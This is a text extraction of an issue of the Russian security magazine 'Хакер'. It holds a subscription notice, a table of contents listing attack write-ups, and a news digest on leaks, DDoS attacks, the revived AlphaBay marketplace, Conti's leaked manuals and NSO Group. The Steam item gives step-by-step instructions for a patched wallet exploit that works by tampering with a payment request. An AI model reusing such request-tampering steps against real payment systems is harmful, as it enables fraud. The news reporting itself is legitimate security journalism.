Important Announcement
PubHTML5 Scheduled Server Maintenance on (GMT) Sunday, June 26th, 2:00 am - 8:00 am.
PubHTML5 site will be inoperative during the times indicated!

Home Explore 08hkr21

08hkr21

Published by pochitaem2021, 2021-11-08 17:44:42

Description: 08hkr21

Search

Read the Text Version

ПОДПИСКА Мы благодарим всех, кт редакцию и помогает н авторам и редакторам и «Хакер» не мог бы суще новый подписчик делае Напомин год дост опублик год дост выходят полное (при усл возможн каждый читать н личную можно и годовой с кажды Если по ка подпи

НА «ХАКЕР» то поддерживает нам компенсировать их труд. Без вас ествовать, и каждый ет его чуть лучше. наем, что дает годовая подписка: тупа ко всем материалам, уже кованным на Xakep.ru; тупа к новым статьям, которые т по будням; отсутствие рекламы на сайте ловии, что ты залогинишься); ность скачивать выходящие й месяц номера в PDF, чтобы на любом удобном устройстве; ю скидку 20%, которую использовать для продления й подписки. Скидка накапливается ым продлением. аким-то причинам у тебя еще нет иски или она скоро кончится, спеши исправить это!

CONT MEGANews Все новое за последний месяц Проект «Пегас» Как общественность узнала про NSO Group и Android Ошибки работы с разрешениями и библиотек Реверс-шелл на 237 байт Изучаем хаки Linux для уменьшения исполняе Инструменты разведчика Подбираем полезные утилиты для разведки п HTB TheNotebook Совершаем побег из Docker, чтобы захватить HTB Love Захватываем веб-сервер на Windows и Apach HTB CrosstTwo Применяем на практике UNION SQL Injection, HTB Proper Пишем tamper для sqlmap и эксплуатируем ra HTB Knife Эксплуатируем нашумевший бэкдор в языке P LUKS good! Ставим Linux на шифрованный раздел и дела Python с абсолютного нуля Работаем с ОС, изучаем регулярные выражен Атаки на STP Взламываем протокол STP с помощью Yersini Строим киберполигон Используем EVE-NG, чтобы развернуть сеть д Framework Модульный ноутбук с правом на ремонт, апгр Титры Кто делает этот журнал

TENTS№ 269Август2021 и ее спайварь ка Security-App-Authenticator емого файла при охоте за багами ь рут he через SSRF , DNS rebinding и NPM Planting ace condition через RFI PHP аем удобной работу с ним ния и функции ia для хакерских испытаний рейд и модификацию

Мария «Mifrill» Нефёдова [email protected] В этом месяце: Cloudflare отраз­ ила рекорд­ ную DDoS-атак­ у, закр­ ытый в 2017 году марк­ етп­ лейс AlphaBay заработ­ ал сно‐­ ва, недовольн­ ый хакер слил обуч­ ающие материа­ лы хак‑груп‐­ пы Conti, в кошельк­ е Steam исправ­ или опасн­ ый баг, кард­ еры опубл­ иковал­ и данн­ ые милл­ иона банк­ овс­ ких карт ради рек‐­ ламы, а такж­ е мног­ о друг­ их интер­ есн­ ых событий. УТЕЧКА NO FLY LIST В сеть утекл­ а копия списк­ а Цент­ ра выявл­ ения терр­ орист­ ов ФБР (Terrorist Screening Center, TSC). БД содерж­ ит 1,9 милл­ иона записей, в том числ­ е сек‐­ ретные списк­ и No  Fly List, то есть перечень лиц, которых нельз­ я пуск­ ать на борт самолет­ ов. Баз­ а TSC, управляе­ мая ФБР, была созд­ ана в 2003 году, посл­ е терр­ орис‐­ тическ­ их атак  11  сент­ ября. Она содерж­ ит имен­ а и  личн­ ые данн­ ые лиц, которые «извест­ ны или  обосн­ ованн­ о подозр­ еваю­ тся в  прич­ аст­ ност­ и к  тер‐­ рорист­ ическ­ ой деятельн­ ост­ и». Хотя база находитс­ я в ведении ФБР, агентство пред­ ост­ авляе­ т дост­ уп к  ней неск­ ольк­ им прав­ ительс­ твенн­ ым учрежден­ иям США, включ­ ая Государст­ венн­ ый департ­ амент, Минист­ ерст­ во обор­ оны, Управлен­ ие транс­ портной безопасн­ ости, таможенн­ ую и погр­ аничн­ ую служб­ у, а такж­ е межд­ ународн­ ые прав­ оохр­ анительн­ ые орган­ ы. Хот­ я БД содерж­ ит данн­ ые о  подозр­ евае­ мых в  терр­ оризм­ е, в  США она более извест­ на как  No Fly List, то есть спис­ ок, который в  основном исполь‐­ зуетс­ я власт­ ями США и межд­ ународн­ ыми авиа­ комп­ ания­ ми, чтоб­ ы разр­ ешать или запр­ ещать въезд в США. Сам­ о сущест­ вов­ ание базы TSC держ­ алось в  секр­ ете более десяти лет, но  в посл­ едние годы власт­ и начали увед­ омл­ ять гражд­ ан США о  том, что те были добавл­ ены в No Fly List. Теп­ ерь комп­ ания Security Discovery и извест­ ный ИБ‑эксперт Боб Дьяченк­ о сообщ­ ают, что в  сети была замечен­ а копия этой базы данн­ ых на  IP-адрес­ е в Бахр­ ейн­ е. « «Обнар­ уженн­ ый класт­ ер Elasticsearch содерж­ ал 1,9 милл­ иона записей. Я не  знаю, какую часть списк­ а TSC он хран­ ил, но, похоже, раск­ рыт был весь спис­ ок. В чужих руках этот спис­ ок может быть использ­ ован для  прит­ есн­ ений, пресл­ едован­ ий или  гонений на  людей из  списк­ а или  их семьи. Это  может вызв­ ать множ­ ест­ во личн­ ых и  проф­ ес-­ сиональн­ ых пробл­ ем для  невинн­ ых людей, чьи имен­ а [по каким‑то »прич­ инам] были включ­ ены в спис­ ок», — пишет спец­ иалист. Инф­ ормац­ ия в списк­ е включ­ ает: • полн­ ое имя; • ID в TSC; • гражд­ анст­ во; • пол; • дат­ у рожд­ ения; • ном­ ер пасп­ орта; • стран­ у выдачи пасп­ орта; • No Fly стат­ ус. Дья­ ченк­ о увед­ омил Минист­ ерст­ во внутр­ енней безопасн­ ости об  утеч‐­ ке  19  июля, когд­ а база была прои­ ндексир­ ован­ а поиск­ овикам­ и Censys и  ZoomEye (и когд­ а он сам ее обнар­ ужил). Серв­ ер был отключ­ ен прим­ ерн­ о через три недели, 9 августа 2021 года. Эксперт говорит, что не знае­ т, почему защитн­ ые меры заняли так мног­ о врем­ ени, и  неизв­ ест­ но, не  успел­ и ли пос‐ торонн­ ие лица добр­ атьс­ я до этой базы. «ПИРАТСКАЯ» РЕКЛАМА Анал­ итик­ и некомм­ ерческ­ ой орган­ изац­ ии Digital Citizens Alliance и антип­ иратс­ кой фирм­ ы White Bullet подс­ чит­ али, что пираты зарабат­ ываю­ т больш­ е 1,34 милл­ иард­ а долл­ аров с помощью рекл­ амы на  сайт­ ах и  в прил­ ожен­ иях, через которые расп­ ростран­ яютс­ я пиратс­ кие фильм­ ы, сериа­ лы, игры и прям­ ые транс­ ляц­ ии. В ходе исслед­ ован­ ия было изуч­ ено 664  милл­ иард­ а показов рекл­ амы прим­ ерн­ о на  6000 популярн­ ых пиратс­ ких сайт­ ах и  в 900 прил­ ожен­ иях (в перио­ д с  июня  2020  года по май 2021 года). Соп­ ост­ авляя показы с матр­ ицей доходов от рекл­ амы, исслед­ оват­ ели опред­ елил­ и, что доходы от рекл­ амы прин­ осят влад­ ельц­ ам сайт­ ов прим­ ерн­ о 1 милл­ иард долл­ аров в год, а прил­ ожен­ ия еще более 250 милл­ ионов долл­ аров. РЕКОРДНЫЙ DDOS Комп­ ания Cloudflare сообщ­ ила о  пред­ отв­ ращ­ ении крупн­ ейш­ ей на  сегод‐­ няшний день DDoS-атак­ и, мощн­ ость которой дост­ игала 17,2 милл­ иона HTTP- запр­ осов в  секунд­ у, что в  три раза прев­ ышае­ т мощн­ ость друг­ их извест­ ных атак. Инцид­ ент прои­ зош­ ел еще в прошл­ ом месяце и был нацелен на одног­ о из  клие­ нтов Cloudflare в  финанс­ овой сфер­ е. По  данн­ ым комп­ ании, неизв­ ес‐­ тный злоу­ мышл­ енник использ­ овал ботн­ ет из 28 тысяч зараженн­ ых устройс­ тв, чтоб­ ы отправл­ ять HTTP-запр­ осы в сеть клие­ нта. Осн­ овывая­ сь на  IP-адрес­ ах зараженн­ ых устройс­ тв, эксперт­ ы Cloudflare подс­ чит­ али, что 15% траф­ ика исход­ ило из Индон­ езии, а еще 17% — из Индии и Браз­ илии. Так­ ие атак­ и обычн­ о называю­ т «объе­ мным­ и» (volumetric), и  они отлич­ аютс­ я от  класс­ ическ­ их DDoS-атак тем, что в  этом случ­ ае злоу­ мышл­ енник­ и сос‐­ редотач­ иваю­ тся на отправк­ е как можн­ о больш­ его количест­ ва нежелат­ ельн­ ых HTTP-запр­ осов на  серв­ ер жерт­ вы, чтоб­ ы загр­ узить его ЦП и  опер­ ативн­ ую память, мешая клие­ нтам использ­ овать целевые сайт­ ы. Хот­ я атак­ а дост­ игла пика в  17,2  милл­ иона запр­ осов лишь на  неск­ ольк­ о секунд, злоу­ мышл­ енник часами заст­ авлял свой ботн­ ет атак­ овать жерт­ ву. В  итог­ е Cloudflare пришл­ ось обраб­ отать более  330  милл­ ионов нежелат­ ель‐­ ных HTTP-запр­ осов. Таким образ­ ом, для Cloudflare эта атак­ а была равн­ а 68% легитимн­ ого HTTP-траф­ ика, в средн­ ем обраб­ атыв­ аемог­ о комп­ ание­ й во вто‐­ ром кварт­ але 2021 года (окол­ о 25 милл­ ионов запр­ осов в секунд­ у). Бол­ ее того, хакер не остан­ овилс­ я посл­ е перв­ ого инцид­ ент­ а: в посл­ едую­ щие недели тот же ботн­ ет пров­ ел две друг­ ие масш­ табн­ ые атак­ и, в  том числ­ е еще одну, макс­ имальн­ ая мощн­ ость которой сост­ авила 8 милл­ ионов запр­ осов в секунд­ у, напр­ авленн­ ую на неназв­ анног­ о хост­ ера. Cloudflare сообщ­ ает, что в  наст­ оящее врем­ я отслеж­ ивае­ т эвол­ юцию этог­ о ботн­ ета, который, похоже, пост­ рое­ н на  базе модифиц­ иров­ анн­ ой верс­ ии хорошо извест­ ног­ о IoT-вред­ онос­ а Mirai. ДЫРЯВЫЕ СЕТИ ПРЕДПРИЯТИЙ Спец­ иалист­ ы Positive Technologies сообщ­ или о низк­ ой защищенн­ ости комп­ аний пром­ ышл­ енно‐­ го сект­ ора. В ходе пров­ еденн­ ых пент­ естов эксперт­ ы комп­ ании получил­ и дост­ уп в техн­ ологич­ ес‐­ кий сегм­ ент сети 75% пром­ ышл­ енных комп­ аний. Это  позв­ олило получить дост­ уп к  сист­ емам управлен­ ия техн­ ологич­ еск­ им проц­ есс­ ом в 56% случ­ аев. В 2020 году пром­ ышл­ енная сфер­ а была у хакеров втор­ ой по популярн­ ости посл­ е государст­ вен‐­ ной: на нее было напр­ авлен­ о 12% атак. Осн­ овные угроз­ ы для  пром­ ышл­ енных комп­ аний сегодн­ я  — это  шпио­ наж и  фин­ анс­ овые потери. В  2020  году мотивом больш­ инст­ ва атак (84% случ­ аев) было получен­ ие данн­ ых, а финанс­ овая выгода интер­ есов­ ала 36% хакеров. В 91% пром­ ышл­ енных орган­ изац­ ий внешн­ ий злоу­ мышл­ енник может прон­ икн­ уть в корп­ оратив‐ ную сеть. Оказ­ авш­ ись во внутр­ енней сети, хакер в 100% случ­ аев может получить учетн­ ые дан‐­ ные польз­ овател­ ей и  полн­ ый конт­ роль над  инфраструкт­ урой, а  в 69%  — украсть конф­ иден‐ циальн­ ые данн­ ые. ВОЗРОЖДЕННЫЙ ALPHABAY Один из  крупн­ ейш­ их марк­ етп­ лейс­ ов дарк­ нет­ а  — AlphaBay был актив­ ен с  2014  года, а  в  2017  году его ликв­ идиров­ али прав­ оохр­ анительн­ ые орган­ ы, наряду с  друг­ им крупн­ ым марк­ етп­ лейс­ ом  — Hansa Market. Тогд­ а закр­ ытие AlphaBay и  Hansa Market стал­ о результ­ атом крупн­ ой межд­ ународн­ ой опе‐­ рации, в  которой прин­ имал­ и участ­ ие США, Канада, Таиланд, Голл­ андия, Великобр­ итания, Франц­ ия, Литв­ а, а  такж­ е предс­ тав­ ител­ и Европ­ ола, ФБР и Управлен­ ия по борьб­ е с нарк­ отикам­ и. По данн­ ым ФБР, AlphaBay был в десять раз больш­ е печальн­ о извест­ ног­ о Silk Road. Торг­ овой площ­ адк­ ой польз­ овались  200  тысяч польз­ овател­ ей и 40 тысяч прод­ авц­ ов. При этом на AlphaBay насч­ итывал­ ось более 250 тысяч объя­ влен­ ий о  прод­ аже нарк­ отиков, более  100  тысяч объя­ влен­ ий о  прод­ аже украд­ енн­ ых или подд­ ельн­ ых идент­ ификац­ ионн­ ых документ­ ов и устройс­ тв дос‐­ тупа, конт­ раф­ акт­ ных товаров, малв­ ари и  друг­ их хакерс­ ких инст­ рум­ ент­ ов и услуг. Нез­ адолг­ о до  ликв­ идации AlphaBay в  Таиланд­ е был арест­ ован  25-летн­ ий гражд­ анин Канады Алекс­ андр Каз (Alexandre Cazes), которог­ о счит­ али одним из  руковод­ ител­ ей ресурс­ а, извест­ ным под ником Alpha02. Вскор­ е посл­ е его арест­ а, 12 июля 2017 года, Каз пок­ онч­ ил с собой в тайс­ кой тюрьм­ е. Одн­ ако еще  один админ­ ист­ рат­ ор ресурс­ а, отвеч­ авш­ ий за  безопасн­ ость и  извест­ ный под  ником DeSnake, не  попал в  руки прав­ оохр­ анител­ ей и  оста‐­ валс­ я на своб­ оде все прош­ едш­ ие годы. Как теперь сообщ­ ило издан­ ие Bleeping Computer, DeSnake неожид­ анн­ о объ‐­ явил на  форуме, что AlphaBay вновь открылс­ я и  готов к  работе. Чтоб­ ы под‐­ тверд­ ить свою личн­ ость, к сообщ­ ению DeSnake прил­ ожил ориг­ инальн­ ый пуб‐­ личный ключ PGP, который использ­ овал во врем­ ена расц­ вет­ а марк­ етп­ лейс­ а. Прич­ ем один из  польз­ овател­ ей форума подт­ верд­ ил подл­ инность ключ­ а DeSnake и  тот факт, что он был частью команд­ ы AlphaBay. Друг­ ой поль‐­ зователь тоже подт­ верд­ ил личн­ ость админ­ ист­ рат­ ора, пообщ­ авшись с  ним о «вещах, которые мог знать тольк­ о сотр­ удник AlphaBay». В длинн­ ом заявл­ ении DeSnake объя­ сняе­ т, что хотел  бы устан­ овить новые станд­ арты и  пост­ рои­ ть «проф­ есс­ иональн­ о управляе­ мый, анон­ имн­ ый, безопасн­ ый марк­ етп­ лейс». Он пишет, что хочет созд­ ать автон­ омн­ ую и  ано‐­ нимн­ ую децент­ рал­ изов­ анн­ ую сеть торг­ овых площ­ адок, где собст­ венн­ ый мар‐­ кетп­ лейс смож­ ет открыть кажд­ ый. Судя по  опис­ анию, это  будет похоже на  Amazon для  дарк­ нет­ а, где прод­ авц­ ы и  покупат­ ели смог­ ут перемещ­ атьс­ я из  одног­ о магазин­ а в  друг­ ой, использ­ уя одну учетн­ ую запись и  не доверяя никому из них свою крипт­ овалют­ у. DeSnake увер­ яет, что новый AlphaBay расс­ чит­ ан на длит­ ельн­ ый срок служ‐­ бы, использ­ ует безопасн­ ый и  пров­ еренн­ ый код, пуленепр­ обивае­ мые сер‐­ веры и  средст­ ва защиты от  сбое­ в, которые могут быть вызв­ аны как  отказ­ ом обор­ удов­ ания, так и полицейс­ ким­ и рейд­ ами. Такж­ е он рекл­ амируе­ т автом­ атиз­ иров­ анн­ ую сист­ ему AlphaGuard, которая «гарант­ ируе­ т, что польз­ овател­ и/прод­ авц­ ы смог­ ут получить дост­ уп к  средс‐­ твам в  свое­ м кошельк­ е (включ­ ая эскроу) в  любое врем­ я через I2P/Tor», и  автом­ атич­ еск­ ую сист­ ему решения спор­ ов, цель которой  — разр­ ешать пробл­ емы межд­ у покупат­ елям­ и и  прод­ авц­ ами без  вмеш­ ательс­ тва модера‐­ торов. DeSnake излож­ ил кратк­ ий набор прав­ ил для  обновленн­ ого AlphaBay, которые долж­ ны помочь избеж­ ать ненужн­ ого вним­ ания со стор­ оны прав­ оох‐­ ранительн­ ых орган­ ов: • запр­ ещено прич­ инять вред друг­ им людям (поиск наемн­ ых убийц и  так далее); • запр­ ещено обсуждать оруж­ ие (даже в целях самоо­ бор­ оны); • ник­ акой эрот­ ики/порн­ о в  любом виде (логины для  основных сайт­ ов раз‐­ решены); • ник­ аког­ о фент­ анила или веществ с прим­ есью фент­ анила или на его осно‐­ ве; • ник­ аких вакц­ ин прот­ ив COVID-19; • нет докс­ ингу и угроз­ ам докс­ инга; • запр­ ещена какая‑либо деятельн­ ость, связ­ анн­ ая с  Росс­ ией, Беларусью, Казахс­ тан­ ом, Армен­ ией, Кырг­ ызс­ тан­ ом (людьм­ и, орган­ изац­ иями, пра‐­ вительс­ твам­ и), а такж­ е данн­ ыми гражд­ ан этих стран; • запр­ ещено прод­ авать прогр­ аммы‑вымогат­ ели, искать брок­ еров дост­ упа для  разв­ ертыв­ ания прогр­ амм‑вымогат­ елей или  обсуждать прог‐­ раммы‑вымогат­ ели. Журн­ алист­ ы отмеч­ ают, что теперь AlphaBay использ­ ует тольк­ о крипт­ овалют­ у Monero и  в наст­ оящее врем­ я на  прод­ ажу выст­ авлен­ ы тольк­ о два товара, в  обои­ х случ­ аях это  нарк­ отики. Стат­ ист­ ика форума показыв­ ает, что пока на  обновленн­ ом AlphaBay насч­ итывае­ тся  19  участ­ ник­ ов, которые обме‐­ нялись 72 сообщ­ ения­ ми. МЭТТЬЮ ГРИН О НОВОЙ ИНИЦИАТИВЕ APPLE Изв­ ест­ ный крипт­ ограф и  проф­ есс­ ор унив­ ерс­ итета Джонс­ а Хопк­ инса Мэттью Грин (Matthew Green) выск­ азалс­ я о  новой техн­ ологии комп­ ании Apple, которая скор­ о начн­ ет искать сред­ и польз­ овательс­ ких изобр­ ажений призн­ аки секс­ уальн­ ого насилия над детьм­ и. В част­ ност­ и, Apple будет пров­ ерять все сообщ­ ения Messages, полученн­ ые и отправл­ енные детьм­ и, в  поиск­ ах наготы. Такж­ е будут скан­ иров­ атьс­ я изобр­ ажения в  iCloud Photos, и, обна‐­ ружив там прот­ ивопр­ авный конт­ ент, Apple смож­ ет «пред­ ост­ авлять прав­ оохр­ анительн­ ым орга‐­ нам ценн­ ую и полезн­ ую информац­ ию о расп­ ростран­ ении извест­ ных CSAM (child sexual abuse materials — англ. материа­ лы, содерж­ ащие призн­ аки секс­ уальн­ ого насилия над детьм­ и)». → «Это невероя­ тно мощн­ ая демонст­ рац­ ия техн­ ологии, показыв­ ающая, что даже защищенн­ ые сквозн­ ым шифр­ ование­ м фотогр­ афии можн­ о подв­ ергать сложн­ ому скан­ иров­ анию. Само скан­ иров­ ание безв­ редн­ о, и  при обнар­ ужен­ ии [откров­ енн­ ых] изобр­ ажений будет увед­ омл­ ен тольк­ о родитель пост­ рад­ авш­ его. Но это демонст­ рир­ ует, что Apple готова созд­ ать и разв­ ернуть такую техн­ ологию. Я надею­ сь, что их никогд­ а не попр­ осят использ­ овать ее для друг­ их целей» — Мэттью Грин →Продолжение статьи

← Начало статьи БЛОКИРОВКА 127.0.0.1 Изд­ ание TorrentFreak обнар­ ужил­ о, что фирм­ а Vindex, предс­ тавл­ яющая инте‐­ ресы ТРК «Украи­ на», напр­ авила Google странн­ ый запр­ ос на  удал­ ение кон‐­ тента из поиск­ овой выдачи. Один из адрес­ ов, нарушаю­ щих прав­ а ТРК «Укра‐­ ина», указ­ ывал на 127.0.0.1, то есть антип­ ират­ ы нашл­ и запр­ ещенн­ ый конт­ ент в собст­ венн­ ых сист­ емах. Журн­ алист­ ы отмеч­ ают, что в  рамк­ ах DMCA (Закон об  авторс­ ком прав­ е в  цифр­ овую эпох­ у) Google кажд­ ую неделю обраб­ атыв­ ает запр­ осы на  уда‐­ ление прим­ ерн­ о пяти милл­ ионов URL-адрес­ ов, а  в общей сложн­ ости поис‐­ ковый гигант удал­ ил уже более пяти милл­ иард­ ов ссыл­ ок. Но  в попытк­ ах боротьс­ я с  пиратст­ вом комп­ ании нередк­ о ошиб­ аютс­ я и  «стрел­ яют себе в ногу». К прим­ еру, недавн­ о серв­ ис Toomics прос­ ил Google удал­ ить из выдачи опасн­ ые URL-адрес­ а свое­ го собст­ венн­ ого сайт­ а. Пох­ ожая ситуа­ ция прои­ зошл­ а и  с запр­ осом украи­ нской антип­ иратс­ кой комп­ ании Vindex. Ссыл­ка, нарушаю­ щая авторс­ кие прав­ а ТРК «Украи­ на» на  транс­ ляц­ ию футб­ ольн­ ых матч­ ей, указ­ ывал­ а на 127.0.0.1:6878/ace/manifest.m3u. То есть файл пиратс­ ког­ о плей‑лист­ а был найд­ ен на собст­ венн­ ом компью­ тер­ е Vindex. Этот файл может быть плей‑лис‐­ том для  P2P-платф­ ормы Ace Stream, которая част­ о использ­ уетс­ я для  пират‐­ ског­ о конт­ ента. TorrentFreak пишет, что Vindex стои­ т норм­ альн­ о наст­ рои­ ть свои­ х ботов. Дело в  том, что комп­ ания и  ранее не  имел­ а безупр­ ечной репутац­ ии: из  всех ссы‐­ лок, удал­ ения которых Vindex треб­ овал­ а от  Google, было удал­ ено немн­ огим больш­ е  10%. В  этот раз Google, разумее­ тся, тоже не  стал­ а предп­ рин­ имать никаких дейс­ твий. КОНФИДЕНЦИАЛЬНОСТЬ В СОЦСЕТЯХ Исс­ лед­ оват­ ели «Лаборат­ ории Касп­ ерс­ ког­ о» проа­ нал­ изир­ овал­ и запр­ осы русс­ коя­ зычн­ ых поль‐­ зовател­ ей по наст­ ройк­ ам прив­ атн­ ости в разл­ ичных серв­ исах. Выясн­ илось, что чаще всег­ о люди стрем­ ятс­ я узнать, как  сдел­ ать макс­ имальн­ о конф­ иденц­ иальн­ ой стран­ ицу в  социа­ льн­ ой сети «ВКонт­ акте» (25%). Анал­ огичн­ ые запр­ осы касались и  друг­ их социа­ льн­ ых сетей: Instagram (12%), Facebook (7%), TikTok и  Twitter (по 4%). Кром­ е того, в  числ­ е самых популярн­ ых обращ­ ений были наст­ ройк­ и прив­ атн­ ости в WhatsApp (12%) и Google (11%). Такж­ е польз­ овател­ ей интер­ есуе­ т, как наст­ рои­ ть режим конф­ иденц­ иальн­ ост­ и непоср­ едст­ венн­ о в  опер­ ацио­ нных сист­ емах: 13% выясн­ яли, как  дейс­ твов­ ать, чтоб­ ы защитить личн­ ые данн­ ые в  Windows, а  7%  — в  мобильн­ ых опер­ ацио­ нных сист­ емах, iOS и  Android. Знач­ ительн­ ая доля запр­ осов (39%) была связ­ ана с наст­ ройк­ ами прив­ атн­ ости тех или иных серв­ исов на Android- устройс­ твах. СЛИВ МАНУАЛОВ CONTI Нед­ овольн­ ый участ­ ник «парт­ нерской прогр­ аммы» вымогат­ еля Conti слил в сеть руководст­ ва и техн­ ическ­ ие мануа­ лы, использ­ уемые хакерам­ и для обу‐­ чения свои­ х «парт­ нер­ ов». Документ­ ы расс­ каз­ ываю­ т, как  получить дост­ уп к  чужой сети, выполн­ ить боковое перемещ­ ение, расш­ ирить дост­ уп, а  затем похитить данн­ ые перед шифр­ ование­ м. Док­ умент­ ация была опубл­ икован­ а на  хакерс­ ком форуме XSS. У  автор­ а слив­ а возн­ ик финанс­ овый конф­ ликт с  автор­ ами Conti, и  таким образ­ ом он решил отомс­ тить. Дел­ о в  том, что Conti работае­ т по  схем­ е ransomware as a  service (RaaS). То есть разр­ аботч­ ики малв­ ари занимаю­ тся непоср­ едст­ венн­ о вред­ онос­ ом и пла‐­ тежн­ ыми сайт­ ами, а  их наемн­ ые «парт­ нер­ ы» взлам­ ываю­ т сети жертв и  шиф‐­ руют устройс­ тва. В  итог­ е выпл­ аты выкупов расп­ ред­ еляю­ тся межд­ у самой хак‑групп­ ой и ее «парт­ нер­ ами», прич­ ем посл­ едние обычн­ о получаю­ т 70–80% от общей сумм­ ы. Обиж­ енн­ ый «парт­ нер» хак‑групп­ ы заявил, что за атак­ у ему запл­ атили толь‐­ ко  1500  долл­ аров, хотя остальн­ ая часть команд­ ы зарабат­ ывае­ т милл­ ионы и  обещ­ ает друг­ им больш­ ие выпл­ аты. В  итог­ е, помимо мануа­ лов, на  форуме были опубл­ икован­ ы скринш­ оты, на  которых видн­ ы IP-адрес­ а, где Conti раз‐­ мещае­ т управляю­ щие серв­ еры Cobalt Strike. Такж­ е был обнар­ одов­ ан RAR-архив под  назв­ ание­ м «Мануа­ ли для  работяг и  софт.rar», содерж­ ащий  37  текс­ тов­ ых файл­ ов с  инст­ рукц­ иями по  исполь‐­ зованию разл­ ичных инст­ рум­ ент­ ов для взлом­ а и легальн­ ого ПО. ИБ‑эксперт Виталий Крем­ ез из  Advanced Intel проа­ нал­ изир­ овал архив и сообщ­ ил, что эти материа­ лы вполн­ е соотв­ етст­ вую­ т сцен­ ария­ м атак Conti. « «По больш­ ому счет­ у, это свящ­ енн­ ый Граа­ ль пент­ естерс­ ких опер­ аций, которые выполн­ яют „пент­ естер­ ы“ Conti, все опис­ ано от  А до  Я. Пос-­ ледст­ вия [этой утечк­ и] огромны, это  позв­ олит новым пент­ есте-­ рам‑вымогат­ елям повысить свои навыки, шаг за шагом. Такж­ е утечк­ а демонст­ рир­ ует зрел­ ость этой групп­ ировк­ и, занимаю­ щей-­ ся вымогат­ ельс­ твом, и показыв­ ает, наск­ ольк­ о они изощр­ енны, дотош-­ ны и  опытн­ ы при  атак­ ах на  корп­ орации по  всем­ у миру»,  — говорит »Крем­ ез. СТАТИСТИКА DDOS-АТАК Анал­ итик­ и Qrator Labs подв­ ели итог­ и втор­ ого кварт­ ала  2021  года, опубл­ иковав стат­ ист­ ику DDoS-атак. Сообщ­ аетс­ я, что за  это врем­ я крупн­ ейш­ ий ботн­ ет вырос почт­ и в  два раза, а основным вект­ ором атак по‑прежн­ ему остае­ тся UDP-, IP- и SYN-флуд. Во втор­ ом кварт­ але  2021  года был зафикс­ ирован серье­ зный рост UDP flood атак, на  долю которых пришл­ ось больш­ е половин­ ы нападен­ ий (53,04%). Рост этог­ о сегм­ ента обусл­ овлен увел­ ичен­ ием доли атак полосой 10–100  Гбит/с  — класс высокоск­ орост­ ных атак, для  орган­ изац­ ии которых част­ о использ­ уетс­ я техн­ ика амплиф­ икац­ ии через публ­ ичные UDP-серв­ исы. Бол­ ее сложн­ ые атак­ и, такие как SYN flood, такж­ е не сдаю­ т свои­ х позиций: их доля во втор­ ом кварт­ але сост­ авила 11,9%. Три основных «чист­ ых» вект­ ора атак  — это  UDP-, IP- и  SYN-флуд, на  которые пришл­ ось 78% всех DDoS-атак втор­ ого кварт­ ала. Мед­ ианн­ ое врем­ я атак­ и сост­ авило 270 с, что близк­ о к набл­ юдения­ м за 2020 год, когд­ а этот показат­ ель равн­ ялся 300 с. По  сравн­ ению с  перв­ ым кварт­ алом  2021  года медиа­ нное врем­ я атак­ и выросл­ о знач­ ительн­ о — со 180 с. Средн­ яя проп­ уск­ ная спос­ обн­ ость всех DDoS-атак втор­ ого кварт­ ала сост­ авила 6,5  Гбит/с. В  перв­ ом кварт­ але эта цифр­ а была чуть выше  — 9,15  Гбит/с, тогд­ а как  в четв­ ертом квар‐­ тале 2020 года данн­ ый показат­ ель сост­ авил лишь 4,47 Гбит/с. Во втор­ ом кварт­ але 2021 года самый крупн­ ый ботн­ ет содерж­ ал 137 696 ботов. БАГ В КОШЕЛЬКЕ STEAM Комп­ ания Valve исправ­ ила уязв­ имость в  Steam, благ­ одар­ я которой баланс кошельк­ а можн­ о было пополн­ ять прои­ звольн­ ыми сумм­ ами. Об этой пробл­ еме прои­ звод­ ител­ я увед­ омил польз­ ователь drbrix, сооб‐­ щивший об уязв­ имост­ и в начале августа через платф­ орму HackerOne. В нас‐­ тоящее врем­ я баг уже исправл­ ен, а  исслед­ оват­ ель получил  7500  долл­ аров за свои труд­ ы. В отчет­ е drbrix расс­ каз­ ал, что для  мошенн­ ическ­ ого пополн­ ения баланс­ а нужн­ о было измен­ ить email-адрес на  любой, содерж­ ащий строк­ у amount100 (сам исслед­ оват­ ель использ­ овал ящик brixamount100abc@xxx). Затем тре‐­ бовал­ ось пройт­ и по  ссылк­ е https://store.steampowered.com/ steamaccount/addfunds, перейт­ и к внес­ ению средств, выбр­ ав спос­ об опла‐­ ты с  использ­ ование­ м Smart2Pay, и  прод­ олж­ ать далее, как  при обычн­ ом вне‐­ сении средств, выбр­ ав, к прим­ еру, 1 долл­ ар. Посл­ е треб­ овал­ ось перехв­ атить POST-запр­ ос к  https://globalapi.smart2pay.com/ и  измен­ ить сумм­ у на прои­ звольн­ ую, что стан­ овил­ ось возм­ ожно из‑за имен­ и почт­ ового ящик­ а. «По‑моему, посл­ едст­ вия очев­ идн­ ы: злоу­ мышл­ енник смож­ ет генери-­ « ровать деньг­и и  слом­ ать рынок Steam, прод­ авая игров­ ые ключ­ и »по дешевк­ е и так далее», — резюмир­ овал drbrix. Вскор­ е сотр­ удник­ и Valve подт­ верд­ или работосп­ особн­ ость предс­ тавл­ енног­ о исслед­ оват­ елем эксп­ лои­ та и  отчит­ ались об  устран­ ении пробл­ емы. В  нас‐­ тоящее врем­ я неизв­ ест­ но, знал ли об  этом баге кто‑то, помимо drbrix, и  не успел­ и ли злоу­ мышл­ енник­ и восп­ ольз­ оватьс­ я данн­ ой пробл­ емой до  того, как она была устран­ ена. СКАНДАЛ ВОКРУГ NSO GROUP В середин­ е июня 2021 года прав­ озащ­ итн­ ая орган­ изац­ ия Amnesty International, некомм­ ерческ­ ий прое­ кт Forbidden Stories, а такж­ е более 80 журн­ алист­ ов конс­ орциу­ ма из 17 медиа­ орг­ анизац­ ий в  десяти стран­ ах мира опубл­ иковал­ и результ­ аты совм­ ест­ ног­ о расс­ лед­ ован­ ия, котором­ у дали назв­ ание прое­ кт «Пегас». Это посл­ ужило поводом для нового сканд­ ала вокр­ уг NSO Group. Так как  о сущест­ вов­ ании Pegasus и  деятельн­ ост­ и NSO Group извест­ но давн­ о, мног­ ие задавал­ ись вопр­ осом: почему сканд­ ал разр­ азилс­ я тольк­ о теперь? Ведь ничего принц­ ипиа­ льн­ о нового в докл­ аде не содерж­ алось, и вряд ли кого‑то в ИБ‑сообщ­ ест­ ве удив­ ило сущест­ вов­ ание спайв­ ари. Хор­ оший ответ на  этот вопр­ ос дал у  себя в  Twitter извест­ ный ИБ‑эксперт, неск­ ольк­ о лет назад остан­ овивш­ ий шифр­ овальщ­ ик Wannacry, Марк­ ус Хатч­ инс (MalwareTech). → «До сегодн­ яшнег­ о дня я не понимал, что нового в этой истор­ ии, но теперь я осозн­ ал, что, вероя­ тно, раньш­ е обо всем этом не было 